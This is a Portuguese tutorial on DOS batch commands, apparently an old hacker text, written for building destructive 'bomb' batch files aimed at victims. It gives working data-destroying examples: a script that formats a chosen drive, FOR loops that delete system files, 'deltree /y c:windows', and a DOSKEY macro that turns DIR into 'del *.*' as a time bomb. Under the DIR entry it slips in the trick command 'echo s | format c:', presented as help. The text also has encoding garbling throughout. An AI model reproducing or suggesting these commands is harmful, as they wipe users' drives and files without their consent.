Comandos do DOS
COMANDOS BÁSICOS
:
Bom, para iniciarmos temos que ter em mente que os arquivos .BAT
tem como objetivo guardar comandos pré digitados para executalos quando solicitado.
Esses arquivos são de muita utilidade, podemos criar sistemas de Bakup, instalação de programas, etc. No nosso caso, arquivos bomba. Os arquivos bomba nada mais são comandos que podem ser destrutivos ou não, de acordo
com o que pretendemos criar.
Para começarmos vou dar alguns dos comandos uteis para o nosso projeto
e depois exemplos de como eles podem ser utilizados para bombas destrutivas e não destrutivas.
Essa parte contém vários comandos que podem ser utilizados não só em BADCOMS mas em batches inofensivos. Para maiores informações sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opção /?.
Exemplos:
C: echo /?
C: format /?
C: for /?
Comandos do DOS
2.1)
ECHO
2.2)
DEL/ERASE
2.3)
DELTREE
2.4)
FORMAT
2.5)
FOR
2.6)
IF
2.7) SET/VARIÁVEIS NO DOS
2.8)
GOTO
2.9)
VER
2.10)
VOL
2.11)
CLS
2.12) ATTRIB
2.13) CALL
2.14) CHOICE E ERRORLEVELS
2.15) COPY
2.16) CTTY
2.17) DIR
2.18) TYPE
2.19)
MORE
2.20)
MD/MKDIR/CD/CHDIR/RD/RMDIR
2.21)
LABEL
2.22)
FIND
2.23)
PAUSE
2.24)
REN/RENAME
2.25)
SUBST
2.26)
TIME
2.27) REM
2.28) DOSKEY
2.29) XCOPY
2.1) ECHO
Sintaxe: ECHO [string]
Exemplo: C> echo Fuck You
Fuck You
O comando ECHO, de forma geral, exibe uma string na tela. Caso
essa string seja OFF, desativar a exibi‡Æo dos comandos na
tela. Se for ON, ativar a mesma.
Exemplo de arquivo:
[echo1.bat]
echo on
echo ECHO est ativado
echo off
echo ECHO est desativado
Quando vocˆ rodar esse programa, ver o seguinte:
C> echo on
C> echo ECHO est ativado
ECHO est ativado
C> echo off
ECHO est desativado
Colocar uma @ antes do primeiro comando de cada linha, equivale
ao ECHO OFF, mas apenas nessa linha. Para que o programa fique
melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha
do programa, assim vocˆ nÆo precisa colocar uma @ antes de cada
linha.
2.2) DEL/ERASE
Sintaxe: DEL [nome_do_arquivo]
ERASE [nome_do_arquivo]
Exemplos: C> del autoexec.bat
C> erase autoexec.bat
Esse comando nÆo precisa de muita explica‡Æo. Apenas exclui o
arquivo especificado. WildCards podem ser usadas (* e ?).
2.3) DELTREE
Sintaxe: DELTREE (/Y) [nome_do_arquivo]
Exemplos: C> deltree c:windows
C> deltree /y c:games
Tamb‚m nÆo tem muito segredo. Exclui um diret¢rio e tudo que
tiver dentro dele. A op‡Æo /Y detona tudo sem pedir confirma‡Æo
mas deve ser usado logo ap¢s o comando DELTREE. Isso NÇO
funcionaria:
C> deltree c:windows /y
2.4) FORMAT
Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]
Exemplos: C> format /q a:
C> format /u c:
O comando mais divertido que pode ser usado em BADCOMS. Fode o
drive especificado literalmente. A op‡Æo /Q realiza uma formata‡Æo
r pida e /U realiza uma formata‡Æo incondicional. A op‡Æo /V:label
espeficifica o nome do volume da unidade, nÆo tem muito segredo...
Mas se o drive especificado for um HD aparecer uma pergunta
est£pida, que o cara responde NÇO e mant‚m o HD a salvo.
Veja mais a frente como resolver isso.
2.5) FOR
Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a
Exemplo: C> for %a in (autoexec.bat config.sys) do del %a
Supunhetemos que vocˆ queira executar o mesmo comando pra v rios
arquivos. Ao inv‚s de escrever o mesmo comando uma porrada de
vezes, use o comando FOR. Explicando detalhadamente: o comando
FOR define uma vari vel chamada %a (ou qualquer letra) e define o
valor dessa vari vel com os nomes que estÆo entre parˆnteses.
Feito isso, executa um comando cujo parƒmetro principal ‚ a
vari vel %a.
Outro exemplo:
C> for %a in (autoexec.bat config.sys command.com) do del %a
Far o seguinte:
C> del autoexec.bat
C> del config.sys
C> del command.com
Simples, nÆo?
2.6) IF
Sintaxe: IF [condi‡Æo] [comando]
Exemplos: if exist c:autoexec.bat del autoexec.bat
if not exist c:.bat echo 1 j foi deletado
if "%1"=="fuckyou" echo Fuck You
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1
O comando IF testa uma condicional e se ela for verdadeira,
executa um comando. O primeiro exemplo verifica se existe o
arquivo c:autoexec.bat e se existir, deleta ele. O segundo
exemplo testa se o arquivo c:autoexec.bat NÇO existe. Se nÆo
existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo
testa se a vari vel %1 ‚ igual a "fuckyou". Se for, exibe a
mensagem "Fuck You". O quarto exemplo testa se a vari vel %1 ‚
DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You".
O £ltimo exemplo testa se foi retornado um errorlevel igual a 1.
Veja sobre os errorlevels mais a frente.
2.7) SET/VARIμVEIS NO DOS
Sintaxe: SET [vari vel] = [valor]
Exemplos: set variavel = qualquermerda
set drive = C:
O comando SET define uma vari vel de ambiente no DOS. Isso ‚
muito £til na programa‡Æo de batches. Acho que com um exemplo
fica melhor de explicar:
C> set scream=argh
Isso criar uma vari vel chamada "scream" e definir seu valor
como "argh". Se vocˆ escrever no DOS:
C> echo %scream%
Ver a palavra "argh" no lugar de "%scream%":
C> echo %scream%
argh
Ou seja, sempre que vocˆ quiser fazer uma referˆncia a uma
vari vel j definida, usa-se %nome_da_vari vel%. Como unir duas
vari veis em uma s¢: suponhamos que vocˆ tenha duas vari veis. Uma
chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o
valor "8910" se vocˆ quiser juntar as duas, ‚ s¢ fazer o seguinte:
C> set BAAAAHHH=%bah1% ; %bah2%
Neste exemplo est£pido que eu dei nÆo parece ser uma coisa
muito £til, mas nÆo se engane porque ! Outro tipo de vari vel sÆo
as especificadas na linha de comando. Elas sÆo %1, %2, %3 at‚ %9.
Como eu disse elas sÆo especificadas na linha de comando, ou
seja quando vocˆ roda o batch. Exemplo:
[hd_fuck.bat]
@echo off
if "%1" == "" goto erro
echo Preparando pra fuder o drive %1!
format %1
goto fim
:erro
echo Seu imbecil, especifique o drive que vocˆ quer detonar!
goto fim
:fim
Rodando o arquivo dessa maneira...
C> hd_fuck C:
...vocˆ ver o seguinte:
Preparando pra fuder o drive C:!
AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C:
SERÇO PERDIDOS!
Continuar com o Format (S/N)?
Mas se nÆo especificar nenhum parƒmetro...
C> hd_fuck
...resulta em:
Seu imbecil, especifique o drive que vocˆ quer detonar!
Como vocˆ p"de perceber, 1% nesse exemplo era igual a C:.
Note que foi utilizado o comando IF para verificar se a vari vel
%1 era existente. Outra coisa que nÆo pode passar despercebida
foi o uso do comando GOTO que ser explicado logo a seguir...
Mais um detalhe: o FORMAT pediu a confirma‡Æo idiota antes de
detonar o HD... Em breve resolveremos isso... 8-)
2.8) GOTO
Sintaxe: GOTO [nome]
Exemplos: goto hora_de_fuder_o_hd
goto erro
O comando GOTO s¢ pode ser usado dentro de arquivos batch e
serve para direcionar o programa para a linha especificada em
[nome]. Quando o DOS encontra essa linha, executa todos os
comandos existentes a partir dela. O nome da linha ‚ especificado
com um :[nome]. Exemplo:
[goto.bat]
@echo off
goto fuckyou
echo Vocˆ vai se fuder...
:fuckyou
echo Se fudeu!
Muito simples. Logo no come‡o do programa DOS ‚ direcionado para
a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja,
a segunda linha, "echo Vocˆ vai se fuder..." nÆo ‚ executada
porque o DOS foi direcionado pra uma linha APàS esse comando.
LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo:
[loop.bat]
@echo off
:loop
dir
goto loop
Isso roda o comando DIR infinitamente, at‚ o cara apertar CTRL+C
ou desligar o computador...
2.9) VER
Sintaxe: VER
Exemplo: BAH!
Exibe qual a versÆo do DOS vocˆ est usando.
Aparentemente ‚ um comando idiota e sem utilidade mas com um pouco
decriatividade ele se torna um comando MUITO £til... Vocˆ vai
entender mais pra frente...
2.10) VOL
Sintaxe: VOL
Exemplo: BAH!
Mostra o nome de volume da sua unidade... Semelhante ao comando
acima, muito £til pra quem ‚ criativo.
2.11) CLS
Sintaxe: CLS
Exemplo: BAH!
Apaga tudo que tem na tela.
2.12) ATTRIB
Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]
ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]
Exemplos: attrib +h c: uimdows
attrib +s c:config.sys
attrib -r c:command.com
Define um attributo pra um arquivo ou diret¢rio. ¢bvio que o
sinal de mais (+) indica que um atributo est sendo definido e um
sinal de menos (-) indica que um atributo est sendo removido. Os
atributos sÆo:
A -> Atributo de Arquivo. Que diabos ‚ isso? Supunhetemos que
vocˆ queira copiar todos os arquivos que estÆo em um
disquete para outro, menos os de extensÆo .VIR. O que vocˆ
faz?
C> attrib +a a:*.*
C> attrib -a a:*.vir
A¡ vocˆ usa o comando XCOPY:
C> xcopy a: b: /a
Meio esquisito, mas ‚ isso...
R -> Atributo de somente para leitura. O arquivo nÆo pode ser
modificado ou deletado a nÆo ser que o atributo seja
removido.
H -> Atributo de arquivo oculto. S¢ um burro pra nÆo perceber
que isso esconde o arquivo.
S -> Atributo de arquivo de sistema. Acho que, na pr tica, ‚ a
mesma coisa que o atributo H.
2.13) CALL
Sintaxe: CALL [nome_do_arquivo_batch]
Exemplo: call virus.bat
Comando usando DENTRO de arquivos batch que serve para chamar
OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem
parar de rodar o primeiro. Exemplo:
[1.bat]
@echo off
echo Esse ‚ o arquivo batch 1...
call 2.bat
echo De volta pro batch 1...
[2.bat]
@echo off
echo Esse ‚ o arquivo batch 2...
Resulta em:
C> 1
Esse ‚ o arquivo batch 1...
Esse ‚ o arquivo batch 2...
De volta pro batch 1...
2.14) CHOICE & ERRORLEVELS
Sintaxe: CHOICE /C:[teclas] [texto]
Exemplo: choice /c:123 Escolha uma op‡Æo:
Esse comando exibe uma mensagem, espera que o usu rio escolha
uma das teclas especificadas e retorna um valor de errorlevel,
de acordo com a tecla.
[fuck.bat]
@echo off
choice /c:123 Escolha uma op‡Æo:
if errorlevel 3 goto opcao3
if errorlevel 2 goto opcao2
if errorlevel 1 goto opcao1
:opcao1
echo Op‡Æo 1 escolhida
goto fim
:opcao2
echo Op‡Æo 2 escolhida
goto fim
:opcao3
echo Op‡Æo 3 escolhida
goto fim
:fim
Rodando isso, vai acontecer o seguinte:
C> fuck
Escolha uma op‡Æo:[1,2,3]?
Se vocˆ escolher a op‡Æo 1:
C> fuck
Escolha uma op‡Æo:[1,2,3]?1
Op‡Æo 1 escolhida
Se escolher a 2:
C> fuck
Escolha uma op‡Æo:[1,2,3]?2
Op‡Æo 2 escolhida
E por £ltimo:
C> fuck
Escolha uma op‡Æo:[1,2,3]?3
Op‡Æo 3 escolhida
Ou seja, o comando CHOICE ‚ muito ‚til para a cria‡Æo de menus,
etc.
Mas o que diabos sÆo os ERRORLEVELS? SÆo valores retornados
pelos comandos do DOS, de acordo com o que causou o fim do
programa.
Geralmente, quando um comando/programa pra DOS termina normalmente,
sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores
variam de acordo com os comandos. Veja uma lista de ERRORLEVELS
mais adiante.
Os errorlevels s¢ podem ser usados com o comando IF. Usando esse
recurso, vocˆ tornar seus batches melhores pois o mesmo poder
tomar decisäes de acordo com o valor de errorlevel.
Note que, quando vocˆ usa o comando CHOICE, o comando IF deve
testar os valores de errorlevel do maior para o menor.
Veja um exemplo:
[errorlev.bat]
@echo off
del autoexec.bat
if errorlevel 0 echo NÇO OCORREU NENHUM PROBLEMA
Isso far o seguinte:
C> errorlev
NÇO OCORREU NENHUM PROBLEMA
L¢gico que essa mensagem s¢ ser exibida se nenhum erro ocorrer.
Explicando melhor: se nÆo ocorrer nenhum problema na hora de
deletar o arquivo, o DEL retornar um errorlevel 0. Vocˆ tamb‚m
pode fazer assim:
[errorsuck.bat]
@echo off
del c:config.sys
if not errorlevel 0 goto OPS
echo NÆo ocorreu nenhum problema.
goto fim
:OPS
echo Alguma coisa errada ocorreu.
goto fim
:fim
Esse exemplo ‚ melhor, pois testa se o comando DEL NÇO retornou
um errorlevel 0. Como o errorlevel 0 significa que nada de errado
ocorreu, um errorlevel diferente de 0 significa que algo anormal
aconteceu.
Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada
ocorreu" mas se tudo der certo exibe "NÆo ocorreu nenhum problema".
2.15) COPY
Sintaxe: COPY [origem] [destino]
Exemplos: copy *.* c: uimdows
copy c:win95*.* c:autoexec.bat
Copia os arquivos especificados para um diret¢rio ou para outro
arquivo.
2.16) CTTY
Sintaxe: CTTY [novo_dispositivo_de_entrada]
Exemplo: ctty nul
Este comando altera o dispositivo de entrada de dados do padrÆo
(teclado) para outro que vocˆ especificar.
Mais tarde vocˆ entender melhor isso...
2.17) DIR
Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]
Exemplos: dir /s
dir autoexec.bat
Este comando nÆo tem muito segredo. Se vocˆ nÆo souber usar o
comando DIR, escreva no prompt do DOS:
C> echo s | format c:
2.18) TYPE
Sintaxe: TYPE [nome_de_arquivo]
Exemplo: type msdos.sys
NÆo tem complica‡Æo. Exibe o conte£do de um arquivo (sem fazer
pausa entre as p ginas). Pode ser usado em conjunto com o comando
MORE.
2.19) MORE
Sintaxe: MORE [nome_do_arquivo]
TYPE [nome_do_arquivo] | MORE (depende da versÆo do DOS)
Exemplo: more sucks.txt
type badcom.faq | more
O comando MORE ‚ idˆntico ao comando TYPE, mas ao final de cada
p gina, faz uma pausa. Em versäes mais antigas do DOS, o MORE s¢
funciona se for feito um PIPE com o comando TYPE.
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
Sintaxe: MD [nome_do_diret¢rio] ou MKDIR [nome_do_diret¢rio]
CD [diret¢rio] ou CHDIR [diret¢rio]
RD [diret¢rio_vazio] ou RMDIR [diret¢rio_vazio]
MD/MKDIR cria um diret¢rio, CD/CHDIR chama (vai para) um
diret¢rio e o RD/RMDIR deleta um diret¢rio (s¢ se o dito cujo
estiver VAZIO).
2.21) LABEL
Sintaxe: LABEL [nome_de_volume]
Exemplo: label se_fudeu
Muda o nome de volume da unidade atual.
2.22) FIND
Sintaxe: FIND "string_procurada" [nome_do_arquivo]
Exemplo: find "fuck" c: rash.txt
Procura por uma string em um determinado arquivo. Muito £til se
utilizado juntamente com os errorlevels.
2.23) PAUSE
Sintaxe: PAUSE
Exemplo: BAH!
Faz uma pausa no batch, at‚ que o usu rio pressione qualquer
tecla. Tamb‚m exibe a mensagem " Pressione qualquer tecla para
continuar..."
2.24) REN/RENAME
Sintaxe: REN [nome_do_arquivo] [novo_nome]
RENAME [nome_do_arquivo] [novo_nome]
Exemplos: ren autoexec.bat noway.bat
rename config.sys huahuahua.com
Muda o nome de um arquivo.
2.25) SUBST
Sintaxe: SUBST [nova_letra_de_unidade] [caminho]
SUBST [unidade] /D
Exemplo: subst f: c: uck
subst f: /d
Define uma letra de unidade para um determinado diret¢rio.
Se vocˆ usar a op‡Æo /D, o SUBST vai desativar a letra da unidade
Jμ CRIADA pelo comando SUBST. S¢ vai funcionar se houver a
seguinte linha no CONFIG.SYS:
LASTDRIVE=Z
2.26) TIME
Sintaxe: TIME
Exemplo: BAH!
Exibe a hora atual.
2.27) REM
Sintaxe: REM [texto]
Exemplo: rem Este ‚ um coment rio
O comando REM ‚ usado quando vocˆ quer adicionar um coment rio
ao seu batch.
2.28) DOSKEY
Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off
Exemplo: doskey dir del *.*
O DOSKEY tem v rias utilidades, mas s¢ vou explicar uma, talvez
a mais £til delas. Usando o DOSKEY vocˆ pode criar macros, ou seja
atribuir comandos a palavras (como um ALIAS). A utilidade disso
num BADCOM ‚ que vocˆ pode trocar os comandos do DOS do cara por
outros. Veja o exemplo acima. Esse exemplo faz com que o comando
DIR execute o comando DEL *.*. Vocˆ pode usar isso como um Time
Bomb ou pode apenas deixar sua v¡tima com o saco cheio mudando
todos os comandos do DOS para besteiras sem sentido nenhum.
A op‡Æo /ECHO define se os comandos da macro serÆo exibidos. Se
for desativado, ‚ equivalente ao "@ECHO OFF". Alguns caracteres
especiais de c¢digo de defini‡Æo de macro:
: Separador de comando. Permite v rios comandos em uma s¢
macro.
$1 a $9: Parƒmetros da macro. Igual a %1 a %9.
$*: S¡mbolo substitu¡do por tudo ap¢s o nome da macro na linha
de comando.
Um detalhe, se sua v¡tima pressionar ALT+F10 todas as macros que
vocˆ criou serÆo desativadas.
2.29) XCOPY
Sintaxe: XCOPY [origem] [destino] [/S]
Exemplo: xcopy c:games d: uck /s
Semelhante ao COPY, s¢ que mais r pido, pois carrega todos os
arquivos na mem¢ria e s¢ depois copia-os. Se a op‡Æo /S for usada
todos os subdiret¢rios e arquivos de um diret¢rio tamb‚m serÆo
copiados.
-----------